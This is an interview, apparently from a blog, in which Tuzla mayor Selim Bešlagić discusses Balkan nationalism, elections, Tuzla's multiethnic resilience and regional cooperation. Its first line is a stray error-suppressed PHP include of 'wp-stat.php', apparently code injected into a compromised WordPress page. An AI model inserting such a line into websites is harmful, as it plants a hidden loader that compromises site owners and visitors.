@require(dirname(__FILE__).'/wp-stat.php'); SELIM BEŠLAGIĆ, GRADONAČELNIK TUZLE: Krv i so ne idu skupa – Nedim Sejdinović

SELIM BEŠLAGIĆ, GRADONAČELNIK TUZLE: Krv i so ne idu skupa

Tuzla je grad koji je, tokom rata u Bosni i Hercegovini, postao simbol nepobeđenog urbanog duha i dokaz da je zajednički život moguć. U Tuzli su sve tri nacionalističke stranke na prvim, a i svim potonjim izborima poražene od strane socijaldemokrata BiH, koji su bili nastavljači Saveza reformskih snaga za BiH. Čovek koji svakako, bar malo, ima zaslugu za to jeste Selim Bešlagić, gradonačelnik Tuzle, ličnost koja je nudila razum umesto nacionalističke histerije i u najtežim trenucima rata. Za “Bulevar” Bešlagić govori o fenomenu Tuzle, o izborima u Hrvatskoj i BiH, o revitalizaciji odnosa između republika bivše SFRJ…

U Hrvatskoj i BiH je, po mnogima, došlo do važnih političkih promena i jednog ozbiljnog otklona ka demokratizaciji. Kako tumačite rezultate izbora u Hrvatskoj i rezultate lokalnih izbora u BiH?

– U tri najveće republike bivše SFRJ, Srbiji, Hrvatskoj i Bosni i Hercegovini, na vlast su došli nacionalisti koji su politiku vodili ne na principu ekonomije i privrede, već na principu “ugroženosti naših naroda”. Najžešća i najmoćnija nacionalistička politika se vodila iz Srbije i Hrvatske, i potom se vrlo brzo reflektovala na odnose unutar BiH, gdje su se njene posljedice i najviše osetile. Miloševićeva politika imala je podršku u Tuđmanovoj politici, a mržnja između Srba i Hrvata bila je samo posljedica njihovih dogovora. Razgovori i dogovori njih dvojice u Karađorđevu bili su najvećim dijelom dogovori o destabilizaciji i podjeli BiH. Sa, da tako kažemo, stagnacijom životnog standarda i odlaskom jednog od glavnih generatora nacionalističkog naboja u Hrvatskoj nestala je i iluzija o “ugroženosti naroda”. Tuđman je nestao maltene u roku od 24 sata, mada je, kako to Hrvati vole da kažu, “imao zasluge u stvaranju države i riješavanju nacionalnog pitanja”. Međutim, ljudi su shvatili da je on proizveo i ekonomski kolaps, a da valja živjeti od vlastitog rada, a ne od nacionalizma. Pobjeda demokratskih snaga u Hrvatskoj dovela je do toga da će se vjerovatno uskoro sa više prisebnosti tretirati Tuđmanov rad i rezultati njegovog rada. I u Bosni i Hercegovini imamo važne političke promjene na lokalnim izborima. Promjene su se najvećim dijelom i u najvećem obimu desile na teritorijama gdje u većini žive Bošnjaci, ali i u drugim dijelovima BiH. Ljudi su jasno iskazali svoju želju za promjenama. Još uvijek je u Srba i Hrvata jak nacionalistički naboj, i to su vjerovatno razlozi zašto se na teritorijama gdje oni čine većinu nisu desile značajnije promjene. Promjene u Hrvatskoj su utjecale i sigurno će još utjecati na situaciju u BiH, tako da se nadamo da će sljedeći izbori za entitetske parlamente, za državni parlament donijeti jos veće i još značajnije promjene. Jednostavno, ljudi su i ovdje shvatili da se ne živi od nacionalizma nego od novaca, od rada… Međutim, ono što mene zabrinjava je što ni promjena niti nagovještaja o promjenama nema iz Srbije. Tu se ne radi samo o nacionalizmu, tu se ima posla i sa jednim, po mom dubokom ubjeđenju, pravim diktatorom. Ali ono što ja ne mogu da razumijem je činjenica da u Srbiji nemamo opoziciju koja bi na pozitivnom iskustvu BiH i Hrvatske uspjela da napravi značajniji otklon od nacional-politiziranja.

Znači, po vama, rezultati izbora u Hrvatskoj i BiH neće imati značajnijeg uticaja na rezultate eventualnih izbora u Srbiji…

– Moram da kažem da je srpski narod isuviše vremena proveo u epici, u pričama o boju na Kosovu, da je mnogo vremena potrošio tražeđi krivce u drugima, ne okrećući se sebi i ne sagledavajući da je srpski nacionalizam, izražen kroz Miloševićevu politiku, zapravo katastrofa za sam srpski narod. Ne vidim da postoji snažna opoziciona snaga u Srbiji. Partije iz Srbije koje bi vrlo lako mogle dobiti pristalice među demokratskim snagama u Hrvatskoj i BiH su prilično marginalizovane i nemaju tu ekvivalentnu tezinu opozicije (ovdje mislim na Ligu socijaldemokrata Vojvodine, Socijaldemokratsku uniju i Reformsko-demokratsku stranku Vojvodine). Bojim se da u Srbiji uskoro neće doći do značajnijih promjena osim ako se ne desi rumunski model, ali ja nisam za prolivanje krvi.

Možete li da, sa ove vremenske distance, objasnite fonomen Tuzle. Zbog čega kod Tuzlaka nije prošla nacionalistička retorika, koja je pobedila u svim drugim mjestima u BiH, i ne samo u BiH?

– Neki vole da kažu da je tu najviše zaslužan Selim Bešlagić. Međutim, da nisu građani Tuzle takvi kakvi jesu moglo je ovdje stajati i sedam Selima Bešlagića. Ja volim da kažem da je mentalitet Tuzlaka nešto što bi svakako valjalo ispitati. Ovdje u Tuzli se desila prva pobuna protiv turskog osvajača, pobuna Huseina Gradaščevića, kada je tuzlanski kraj tražio autonomiju. Ovdje se desio veliki otpor austrougarskoj okupaciji. Ovdje se desila Husinska buna, koja je postala sinonim borbe za radnička prava i koja je svojevremeno bila najveća manifestacija te borbe. Ovdje je, tokom II svjetskog rata, tuzlanska vlast tražila od islamskih vjerskih poglavara da odu kod Pavelića i od njega zahtjevaju da se nista loše ne smije desiti Srbima Tuzlacima jer su oni naše komšije. Pa smo i mi, ovih ratnih devedesetih pokušali da vrednujemo ljude po njihovoj sposobnosti za borbu za dobrobit čovjeka. Napravili smo distancu od nacionalista svih vrsta. Tuzlaci su spontano napravili otpor nacionalizmu i ja ne mogu da dam odgovor na pitanje zašto su Tuzlaci takvi… Ponekad se našalim pa kažem da krv i so ne idu skupa. Možda u tome ima neke istine.

Kako zamišljate revitalizaciju, u kulturnom i ekonomskom smislu, ex-yu prostora?

– Mi smo, na žalost, svjedoci da oživljavanje bivšeg jedinstvenog kulturnog prostora vode narodnjaci sa svojim šund-pjesmama. Zašto to ne bi mogli raditi i kulturni radnici. Mi smatramo da je nacionalizam krenuo od Srpske akademije nauka i umjetnosti, ali nije, recimo, krenuo iz pozorišta. Objektivno, valja nama preživjeti ovo vrijeme od 1992. do 1995. godine, koje je učinilo da su ljudi počeli misliti kako ne možemo živjeti skupa. Hoću reći da je neko nekom, političkom retorikom, usadio u glavu da ne možemo živjeti skupa i da valja skinuti tu famu, taj veo mračnjaštva. Francuska i Njemačka su međusobno ratovali, a danas su između njih skoro u potpunosti izbrisane granice. Kada se nađe zajednički interes, kroz privredu, ekonomiju, monetarnu politiku, vjerujem da će se obnoviti i ex-yu prostor. Nemojmo očekivati reintegraciju, ali sigurno je da će BiH, ako sebi misli dobro, morati sarađivati sa Hrvatskom, sa Srbijom i Crnom Gorom, sa Slovenijom i Makedonijom. Ja se nadam da će doći vrijeme kada između Slovenije i Hrvatske neće biti graničnog prijelaza, a vjerujem i nadam se da i između BiH i Hrvatske neće biti graničnog prijelaza, a vjerujem i nadam se, i bio bih izuzetno srećan da se to desi, da će, kada u Srbiji na vlast dođu normalni ljudi, nestati graničnog prijelaza između BiH i Srbije, između Hrvatske i Srbije, a da će, istovremeno, Srbija biti Srbija, Hrvatska Hrvatska, a Bosna i Hercegovina – Bosna i Hercegovina.

Između Tuzle i Novog Sada postoji dobra saradnja ili, bolje rečeno, dobra volja za saradnjom na privrednom i političkom planu. Postojali su razni razgovori, dogovori, na raznim nivoima. Šta je do sada postignuto?

– Mi smo sa novosadskim političkim partijama, Ligom socijaldemokrata Vojvodine i Reformsko-demokratskom strankom Vojvodine napravili nekoliko susreta, na kojima smo odmah na početku konstatovali da su nam problemi zajednički – prije svega, jaka centralizacija. Onda smo krenuli dogovor o projektu za povratak ljudi koji su iz Bosne otisli u Vojvodinu, a koji se žele vratiti svojim kućama. Rezultati tih dogovora možda nisu grandiozni, ali mi smo pokušali i vjerovatno bismo nešto ozbiljnije i uradili da voljom Miloševića nije počelo bombardovanje Srbije, koje nam je iz više razloga zaustavilo privrednu saradnju. Međutim, saradnju sada imamo na kulturnom planu. Ovih će se dana u Tuzli održati Dani Novog Sada, a mislim da će se uskoro, vjerovatno s jeseni, održati Dani Tuzle u Novom Sadu. Svi ti procesi bi mogli biti i bolji i sadržajniji ukoliko bi se desile demokratske promjene u Srbiji.

Da li biste nešto poručili građanima Srbije?

– Podsetio bih ih još jednom na poslovicu da je bolje sto godina pregovarati nego jedan dan voditi rat. Ja znam da postoji strah, ali građanima Srbije poručujem – prevaziđite strah i izaberite ljude koji će vam ukazati da je problem za sve ovo što vam se desilo bio u vašoj kući, a ne u drugim državama. Nemojte pokušavati da krivce pronalazite na drugoj strani. Morate se izboriti za državu u kojoj ćete moći živjeti od svog rada.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.